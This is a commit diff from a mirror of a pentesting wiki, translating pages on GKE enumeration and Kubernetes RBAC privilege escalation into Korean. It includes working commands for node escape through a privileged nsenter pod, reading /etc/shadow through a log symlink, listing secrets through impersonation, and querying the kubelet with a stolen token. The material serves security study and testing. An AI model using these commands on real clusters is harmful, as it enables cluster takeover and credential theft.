mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles-
This commit is contained in:
Translator
+36
-20
@@ -1,10 +1,10 @@
|
||||
# GCP - 컨테이너 및 GKE 열거
|
||||
# GCP - Containers & GKE Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 컨테이너
|
||||
## Containers
|
||||
|
||||
GCP 컨테이너에서는 GCP가 제공하는 대부분의 컨테이너 기반 서비스를 찾을 수 있으며, 여기에서 가장 일반적인 것들을 열거하는 방법을 볼 수 있습니다:
|
||||
GCP containers에서는 GCP가 제공하는 대부분의 container 기반 서비스를 찾을 수 있으며, 여기서는 가장 일반적인 것들을 enumerate하는 방법을 볼 수 있습니다:
|
||||
```bash
|
||||
gcloud container images list
|
||||
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
|
||||
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
다음 페이지에서 **컨테이너 권한을 악용하여 권한 상승**하는 방법을 확인할 수 있습니다:
|
||||
다음 페이지에서 **container 권한을 악용해 privileges를 escalate하는 방법**을 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -32,7 +32,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
|
||||
## Node Pools
|
||||
|
||||
이들은 쿠버네티스 클러스터를 형성하는 머신(노드)의 풀입니다.
|
||||
이들은 kubernetes clusters를 구성하는 machine(nodes)들의 pool입니다.
|
||||
```bash
|
||||
# Pool of machines used by the cluster
|
||||
gcloud container node-pools list --zone <zone> --cluster <cluster>
|
||||
@@ -50,43 +50,59 @@ Kubernetes가 무엇인지에 대한 정보는 이 페이지를 확인하세요:
|
||||
```
|
||||
gcloud container clusters list
|
||||
```
|
||||
클러스터가 있는 경우, `gcloud`가 자동으로 `~/.kube/config` 파일을 구성할 수 있습니다. 이 파일은 K8s 클러스터와 상호 작용하기 위한 기본 CLI인 [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/)을 사용할 때 인증하는 데 사용됩니다. 이 명령을 시도해 보세요.
|
||||
클러스터가 있다면, `gcloud`가 자동으로 `~/.kube/config` 파일을 구성하게 할 수 있습니다. 이 파일은 [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/)를 사용할 때, 즉 K8s 클러스터와 상호작용하기 위한 기본 CLI를 사용할 때 인증에 사용됩니다. 이 명령을 시도해 보세요.
|
||||
```
|
||||
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
|
||||
```
|
||||
그런 다음 `~/.kube/config` 파일을 확인하여 생성된 자격 증명을 확인하십시오. 이 파일은 활성 `gcloud` 세션이 사용하는 동일한 ID를 기반으로 액세스 토큰을 자동으로 새로 고치는 데 사용됩니다. 물론 이를 위해서는 올바른 권한이 필요합니다.
|
||||
그 다음, `~/.kube/config` 파일을 살펴보아 생성된 credentials를 확인하세요. 이 파일은 현재 활성 `gcloud` session이 사용하는 것과 동일한 identity를 기반으로 access tokens를 자동으로 refresh하는 데 사용됩니다. 물론 이를 위해서는 올바른 permissions가 설정되어 있어야 합니다.
|
||||
|
||||
이 설정이 완료되면 클러스터 구성을 가져오기 위해 다음 명령을 시도할 수 있습니다.
|
||||
이 설정이 완료되면, 다음 command를 사용해 cluster configuration을 가져올 수 있습니다.
|
||||
```
|
||||
kubectl cluster-info
|
||||
```
|
||||
`gcloud`에 대한 자세한 내용은 [여기](https://cloud.google.com/sdk/gcloud/reference/container/)에서 확인할 수 있습니다.
|
||||
`gcloud`에 대한 자세한 내용은 containers에서 [here](https://cloud.google.com/sdk/gcloud/reference/container/)를 참고하세요.
|
||||
|
||||
GCP에서 kubernetes를 열거하는 간단한 스크립트입니다: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
다음은 GCP에서 kubernetes를 열거하는 간단한 스크립트입니다: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
|
||||
### TLS 부트스트랩 권한 상승
|
||||
### Current GKE identity and metadata checks
|
||||
|
||||
초기에는 이 권한 상승 기술이 **GKE 클러스터 내부에서 privesc**를 허용하여 공격자가 **완전히 침해할 수 있게** 했습니다.
|
||||
modern GKE clusters를 검토할 때는 Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, 그리고 node credentials를 분리해서 보세요. Google principal은 종종 `container.clusters.get`으로 cluster endpoint data를 가져올 수 있지만, 그 뒤의 Kubernetes requests는 여전히 GKE/Kubernetes authorization과 private endpoints나 authorized networks 같은 network restrictions를 통과해야 합니다.
|
||||
|
||||
이는 GKE가 메타데이터에 [TLS 부트스트랩 자격 증명](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)을 제공하기 때문이며, 이는 **단지 포드를 침해함으로써 누구나 접근할 수 있습니다**.
|
||||
GKE용 Workload Identity Federation은 pods가 Google Cloud APIs에 접근하는 데 권장되는 방식입니다. cluster에 workload pool이 있는지, 그리고 Kubernetes service accounts가 IAM principals로 직접 매핑되는지 또는 IAM service accounts를 impersonate할 수 있는지 확인하세요:
|
||||
```bash
|
||||
gcloud container clusters describe <cluster> --region <region> \
|
||||
--format='value(workloadIdentityConfig.workloadPool)'
|
||||
|
||||
사용된 기술은 다음 게시물에서 설명됩니다:
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
|
||||
```
|
||||
If a service account has the annotation `iam.gke.io/gcp-service-account`, review the IAM service account policy for `roles/iam.workloadIdentityUser` grants to Kubernetes service account principals. Also check IAM allow policies for direct workload identity principals or broad principal sets.
|
||||
|
||||
Metadata access depends on cluster mode, node pool configuration, and workload settings. Do not assume every pod can steal the node service account. In Workload Identity-enabled environments, ordinary pods should use the GKE metadata server to obtain the workload identity intended for their Kubernetes service account. Node compromise, `hostNetwork` pods in some Standard configurations, and legacy node metadata exposure can still change the blast radius, so verify the actual node pool metadata mode, node service account, OAuth scopes, and pod placement.
|
||||
|
||||
### TLS Boostrap Privilege Escalation
|
||||
|
||||
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
|
||||
|
||||
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
|
||||
|
||||
The technique used is explained in the following posts:
|
||||
|
||||
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
|
||||
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
|
||||
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
|
||||
|
||||
그리고 이 도구는 프로세스를 자동화하기 위해 만들어졌습니다: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
|
||||
그러나 이 기술은 **메타데이터 자격 증명**으로 **새 노드에 대한 CSR**(Certificate Signing Request)을 **생성할 수 있었던** 사실을 악용했습니다. 이 요청은 **자동으로 승인되었습니다**.\
|
||||
내 테스트에서 **이 요청들이 더 이상 자동으로 승인되지 않는** 것을 확인했으므로, 이 기술이 여전히 유효한지 확신할 수 없습니다.
|
||||
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
|
||||
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
|
||||
|
||||
### Kubelet API의 비밀 <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
|
||||
[**이 게시물**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/)에서 GKE의 포드 내부에서 접근 가능한 Kubelet API 주소가 발견되어 실행 중인 포드의 세부 정보를 제공하는 것으로 밝혀졌습니다:
|
||||
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
|
||||
```
|
||||
curl -v -k http://10.124.200.1:10255/pods
|
||||
```
|
||||
API가 **리소스를 수정하는 것을 허용하지 않더라도**, 응답에서 **민감한 정보**를 찾을 수 있을 수 있습니다. 엔드포인트 /pods는 [**Kiterunner**](https://github.com/assetnote/kiterunner)를 사용하여 발견되었습니다.
|
||||
API가 **리소스를 수정하도록 허용하지 않더라도**, 응답에서 **민감한 정보**를 찾을 수 있을지도 모릅니다. 엔드포인트 /pods는 [**Kiterunner**](https://github.com/assetnote/kiterunner)를 사용해 발견되었습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+116
-159
@@ -1,23 +1,23 @@
|
||||
# Kubernetes에서 Roles/ClusterRoles 오용
|
||||
# Kubernetes에서 Roles/ClusterRoles 악용하기
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
여기에는 잠재적으로 위험한 Roles 및 ClusterRoles 구성들이 있습니다.\
|
||||
`kubectl api-resources`로 모든 지원 리소스를 확인할 수 있다는 것을 기억하세요.
|
||||
여기에서 잠재적으로 위험한 Roles 및 ClusterRoles 설정을 찾을 수 있습니다.\
|
||||
지원되는 모든 리소스는 `kubectl api-resources`로 확인할 수 있습니다.
|
||||
|
||||
## **Privilege Escalation**
|
||||
|
||||
클러스터 내에서 현재 가진 것과 다른 권한을 가진 다른 principal에 접근하는 기술을 의미합니다(클러스터 내부 또는 외부 클라우드에 대해). Kubernetes에서는 기본적으로 권한을 상승시키기 위한 다음의 4가지 주요 기법이 있습니다:
|
||||
클러스터 내에서 또는 외부 cloud에서, 이미 가지고 있는 권한과는 다른 권한을 가진 **다른 principal에 접근하는 것**을 가리키는 용어입니다. Kubernetes에서는 권한을 상승시키는 데 기본적으로 **4가지 주요 기법**이 있습니다:
|
||||
|
||||
- 더 높은 권한을 가진 다른 user/groups/SAs를 **impersonate** 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해)
|
||||
- 더 높은 권한을 가진 SAs를 **find or attach SAs** 할 수 있는 곳에 **create/patch/exec pods** 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해)
|
||||
- SAs 토큰이 secrets로 저장되어 있으므로 **read secrets** 할 수 있음
|
||||
- 컨테이너에서 **escape to the node** 할 수 있어, 노드에서 실행 중인 컨테이너들의 모든 secrets, 노드의 credentials, 그리고 (해당되는 경우) 그 노드가 실행 중인 클라우드에서의 권한을 훔칠 수 있음
|
||||
- 다섯번째로 언급할 만한 기법은 pod 내에서 **run port-forward** 할 수 있는 능력으로, 이를 통해 해당 pod 내부의 흥미로운 리소스에 접근할 수 있음
|
||||
- Kubernetes 클러스터 내 또는 외부 clouds에서 더 높은 권한을 가진 다른 user/groups/SAs를 **impersonate**할 수 있는 경우
|
||||
- Kubernetes 클러스터 내 또는 외부 clouds에서 더 높은 권한을 가진 SAs를 **find 또는 attach**할 수 있는 **create/patch/exec pods**가 가능한 경우
|
||||
- SA token이 secrets로 저장되므로 **secrets를 읽을 수 있는** 경우
|
||||
- 컨테이너에서 node로 **escape**할 수 있는 경우. 그러면 node에서 실행 중인 모든 컨테이너의 secrets, node의 credentials, 그리고 해당 node가 실행되는 cloud 내에서의 node permissions(있는 경우)을 훔칠 수 있습니다.
|
||||
- 언급할 가치가 있는 다섯 번째 기법은 pod에서 **run port-forward**를 할 수 있는 능력입니다. 이를 통해 해당 pod 내부의 흥미로운 리소스에 접근할 수 있을 수 있습니다.
|
||||
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
**wildcard (\*)는 어떤 리소스에 대해서든 어떤 verb에 대해서도 권한을 부여합니다.** 관리자가 주로 사용합니다. ClusterRole 내부에서는 이는 공격자가 클러스터 내의 어떤 namespace든 악용할 수 있다는 것을 의미합니다.
|
||||
**wildcard (\*)는 모든 resource와 모든 verb에 대한 권한을 부여합니다.** 이는 admins가 사용합니다. ClusterRole 내부에서는 공격자가 클러스터의 anynamespace를 악용할 수 있다는 뜻입니다
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### 특정 동사로 모든 리소스에 접근
|
||||
### 특정 verb로 Any Resource에 Access
|
||||
|
||||
RBAC에서는 특정 권한이 심각한 위험을 초래합니다:
|
||||
RBAC에서 특정 permissions는 심각한 risks를 초래할 수 있습니다:
|
||||
|
||||
1. **`create`:** 클러스터의 모든 리소스를 생성할 수 있는 권한을 부여하며, privilege escalation을 초래할 수 있습니다.
|
||||
2. **`list`:** 모든 리소스를 나열할 수 있게 하여 민감한 데이터를 leak할 수 있습니다.
|
||||
3. **`get`:** service accounts로부터 secrets에 접근할 수 있게 하여 보안 위협을 초래합니다.
|
||||
1. **`create`:** Any cluster resource를 create할 수 있게 하며, privilege escalation 위험이 있습니다.
|
||||
2. **`list`:** 모든 resources를 list할 수 있어, sensitive data가 leak될 수 있습니다.
|
||||
3. **`get`:** service accounts에서 secrets에 access할 수 있게 하며, security threat를 초래합니다.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -47,11 +47,11 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
### Pod Create - Token 훔치기
|
||||
|
||||
Pod 생성 권한이 있는 공격자는 특권이 부여된 Service Account를 pod에 연결해 해당 토큰을 탈취하고 그 Service Account로 가장할 수 있습니다. 결과적으로 권한이 상승됩니다.
|
||||
pod를 생성할 수 있는 권한이 있는 atacker는 privileged Service Account를 pod에 연결하고 그 token을 훔쳐 해당 Service Account를 impersonate할 수 있다. 사실상 그 권한으로 privilege escalation하는 것이다.
|
||||
|
||||
다음은 `bootstrap-signer` service account의 토큰을 탈취해 공격자에게 전송하는 pod의 예입니다:
|
||||
`bootstrap-signer` service account의 token을 훔쳐 attacker에게 보내는 pod 예시는 다음과 같다:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -74,12 +74,12 @@ hostNetwork: true
|
||||
```
|
||||
### Pod Create & Escape
|
||||
|
||||
다음은 container가 가질 수 있는 모든 권한을 나타냅니다:
|
||||
다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다:
|
||||
|
||||
- **Privileged access** (보호 기능을 비활성화하고 capabilities를 설정)
|
||||
- **Disable namespaces hostIPC and hostPid** (권한 상승에 도움이 될 수 있음)
|
||||
- **Disable hostNetwork** namespace (nodes의 cloud privileges를 탈취하고 네트워크에 더 잘 접근할 수 있음)
|
||||
- **Mount hosts /** (container 내부에 호스트의 / 를 마운트)
|
||||
- **Privileged access** (보호 기능 비활성화 및 capabilities 설정)
|
||||
- **hostIPC** 및 **hostPid** namespaces 비활성화로 권한 상승을 도울 수 있음
|
||||
- **hostNetwork** namespace 비활성화로 노드 cloud 권한을 탈취하고 네트워크에 더 잘 접근할 수 있게 됨
|
||||
- 컨테이너 내부에 hosts /를 mount하기
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,19 +115,19 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
다음 내용으로 pod를 생성하세요:
|
||||
다음으로 pod를 생성하세요:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
[this tweet](https://twitter.com/mauilion/status/1129468485480751104)에서 가져온 원라이너와 몇 가지 추가사항:
|
||||
[twitter](https://twitter.com/mauilion/status/1129468485480751104)의 one-liner와 몇 가지 추가 내용:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
이제 node로 탈출할 수 있으니 다음에서 post-exploitation techniques를 확인하세요:
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
|
||||
#### Stealth
|
||||
|
||||
아마도 더 **stealthier** 하고 싶을 것입니다. 아래 페이지들에서는 이전 템플릿에서 언급한 권한 중 일부만 활성화하여 pod를 생성할 경우 접근할 수 있는 항목들을 확인할 수 있습니다:
|
||||
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,12 +136,12 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_이전 템플릿의 권한 있는 pods 구성들을 생성/악용하는 예시는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
만약 **create** a **pod** (및 선택적으로 a **service account**)할 수 있다면, **assigning cloud roles to a pod or a service account**하고 접근함으로써 **obtain privileges in cloud environment**할 수 있습니다.
|
||||
또한, **pod with the host network namespace**를 생성할 수 있다면 **steal the IAM** role of the **node** instance 할 수 있습니다.
|
||||
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
|
||||
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
|
||||
|
||||
For more information check:
|
||||
|
||||
@@ -151,7 +151,7 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
이 권한들을 남용하여 **create a new pod**하고 이전 예시처럼 권한을 상승시킬 수 있습니다.
|
||||
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
|
||||
|
||||
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
```yaml
|
||||
@@ -191,32 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`**는 kubernetes에서 **pod 안의 shell에서 명령을 실행하는 데** 사용되는 리소스입니다. 이는 **containers 내부에서 명령을 실행하거나 shell을 얻을 수 있게** 합니다.
|
||||
**`pods/exec`**는 kubernetes에서 **pod 내부의 shell에서 명령을 실행**하는 데 사용되는 resource입니다. 이를 통해 **컨테이너 내부에서 명령을 실행하거나 내부에 shell을 얻을 수 있습니다**.
|
||||
|
||||
따라서 **pod에 들어가 SA의 token을 탈취할 수** 있거나, privileged pod에 진입해 node로 탈출하여 node에 있는 pod들의 모든 token을 탈취하고 node를 (ab)use할 수 있습니다:
|
||||
따라서, **pod 안으로 들어가 SA의 token을 훔치거나**, privileged pod에 들어가 node로 escape한 뒤, 해당 node의 모든 pod의 token을 훔쳐 node를 (ab)use하는 것이 가능합니다:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> 기본적으로 명령은 포드의 첫 번째 컨테이너에서 실행됩니다. 포드 내의 모든 컨테이너 이름을 얻으려면 `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` 를 사용하고, 그런 다음 실행하려는 컨테이너를 `kubectl exec -it <pod_name> -c <container_name> -- sh` 로 지정하세요.
|
||||
> 기본적으로 command는 pod의 첫 번째 container에서 실행된다. `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`로 **container 안의 모든 pod를 가져온 다음** `kubectl exec -it <pod_name> -c <container_name> -- sh`를 사용해 **실행할 container를 지정**한다
|
||||
|
||||
If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
만약 distroless container라면 **shell builtins**를 사용해 container의 정보를 얻거나, **busybox** 같은 자체 tools를 `**kubectl cp </path/local/file> <podname>:</path/in/container>`**를 사용해 업로드해 볼 수 있다.
|
||||
|
||||
### port-forward
|
||||
|
||||
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
|
||||
이 권한은 **로컬 port 하나를 지정된 pod의 port 하나로 forward**할 수 있게 한다. 이는 pod 안에서 실행 중인 applications를 쉽게 debug하기 위한 것이지만, attacker는 이를 악용해 pod 안의 흥미로운 대상(예: DBs)이나 vulnerable applications(webs?)에 access할 수 있다:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
|
||||
이는 기본적으로 **Kube-API tries to get the logs** 할 때 발생합니다. 컨테이너의 로그를 가져오기 위해 (`kubectl logs <pod>` 사용) Kube-API는 **Kubelet** 서비스의 `/logs/` 엔드포인트를 이용해 해당 pod의 `0.log` 파일을 **requests the `0.log`** 합니다.\
|
||||
Kubelet 서비스는 `/logs/` 엔드포인트를 노출하고 있으며, 이는 사실상 컨테이너의 `/var/log` 파일시스템을 **exposing the `/var/log` filesystem of the container** 하는 것입니다.
|
||||
[**이 연구에서 지적하듯이**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), **hosts `/var/log/` directory mounted** 된 pod에 접근하거나 생성할 수 있다면, **container에서 escape** 할 수 있습니다.\
|
||||
이것은 기본적으로 **Kube-API가 container의 logs를 가져오려고 할 때**(`kubectl logs <pod>` 사용), **Kubelet** 서비스의 `/logs/` endpoint를 통해 pod의 `0.log` 파일을 요청하기 때문입니다.\
|
||||
Kubelet 서비스는 `/logs/` endpoint를 노출하며, 이는 기본적으로 **container의 `/var/log` filesystem을 노출**하는 것과 같습니다.
|
||||
|
||||
따라서 컨테이너의 `/var/log/` 폴더에 **access to write in the /var/log/ folder** 권한이 있는 공격자는 이 동작을 다음 두 가지 방식으로 악용할 수 있습니다:
|
||||
따라서, container의 **/var/log/ folder에 write할 수 있는** attacker는 이 behaviour를 2가지 방식으로 악용할 수 있습니다:
|
||||
|
||||
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
|
||||
- 자신의 container의 `0.log` 파일(보통 `/var/logs/pods/namespace_pod_uid/container/0.log`에 위치)을 예를 들어 `/etc/shadow`를 가리키는 **symlink**로 수정합니다. 그러면 다음과 같이 hosts shadow file을 exfiltrate할 수 있습니다:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- 공격자가 **permissions to read `nodes/log`** 권한을 가진 어떤 principal을 제어한다면, 그는 `/host-mounted/var/log/sym`에 `/`를 가리키는 **symlink**를 생성할 수 있고, **`https://<gateway>:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일시스템이 나열됩니다 (symlink를 변경하면 파일에 접근할 수 있습니다).
|
||||
- 공격자가 **`nodes/log`를 읽을 권한**이 있는 어떤 principal이든 제어할 수 있다면, `/host-mounted/var/log/sym`에 `/`로 향하는 **symlink**를 그냥 만들 수 있고, **`https://<gateway>:10250/logs/sym/`에 접근하면 호스트의 root** filesystem을 나열하게 된다( symlink를 바꾸면 파일 접근도 가능하다).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**다음에서 실험실과 자동화된 exploit을 확인할 수 있습니다** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**실험실과 automated exploit은** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) 에서 찾을 수 있습니다
|
||||
|
||||
#### readOnly 보호 우회 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### readOnly protection 우회 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
운이 좋게도 고권한 capability `CAP_SYS_ADMIN`이 사용 가능하면, 해당 폴더를 rw로 다시 마운트할 수 있습니다:
|
||||
운이 좋고 매우 privileged한 capability `CAP_SYS_ADMIN`이 사용 가능하다면, 폴더를 그냥 rw로 remount할 수 있습니다:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### hostPath readOnly 보호 우회 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
해당 [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)에서 설명한 것처럼, 보호를 우회할 수 있습니다:
|
||||
[**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)에서 설명한 바와 같이, 이 보호를 우회하는 것이 가능합니다:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
이는 이전과 같은 탈출을 방지하기 위해 hostPath mount 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 container에 writable access로 hosts folder를 mount하도록 한 것이다:
|
||||
이전 것들과 같은 escape를 막기 위해, hostPath mount를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용해 container 안에 hosts folder를 writable access로 mount하려는 의도였다:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -298,11 +298,11 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **권한 있는 계정 가장하기**
|
||||
### **특권 계정 가장하기**
|
||||
|
||||
[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 권한이 있으면 공격자는 권한 있는 계정으로 가장할 수 있습니다.
|
||||
[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 권한이 있으면, 공격자는 특권 계정을 가장할 수 있다.
|
||||
|
||||
사용자 계정을 가장하려면 `kubectl` 명령에서 `--as=<username>` 파라미터를 사용하고, 그룹을 가장하려면 `--as-group=<group>`을 사용하세요:
|
||||
`kubectl` 명령에서 `--as=<username>` 파라미터를 사용해 사용자를 가장하거나, `--as-group=<group>`을 사용해 그룹을 가장하면 된다:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -315,16 +315,17 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### 시크릿(Secrets) 나열
|
||||
### Listing Secrets
|
||||
|
||||
권한이 REST API 엔드포인트에 접근할 때 **list secrets 권한은 공격자가 실제로 시크릿을 읽을 수 있도록 허용할 수 있습니다**:
|
||||
**secrets를 list할 수 있는 권한은 공격자가 REST API endpoint에 접근해 실제로 secrets를 읽을 수 있게 할 수 있습니다**:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Secret 생성 및 읽기
|
||||
### Creating and Reading Secrets
|
||||
|
||||
특정 유형의 Kubernetes secret인 **kubernetes.io/service-account-token**은 serviceaccount 토큰을 저장합니다.
|
||||
만약 secret을 생성하고 읽을 수 있는 권한이 있고, 대상 serviceaccount의 이름을 알고 있다면, 다음과 같이 secret을 생성한 후 그 안에서 피해자 serviceaccount의 토큰을 탈취할 수 있습니다:
|
||||
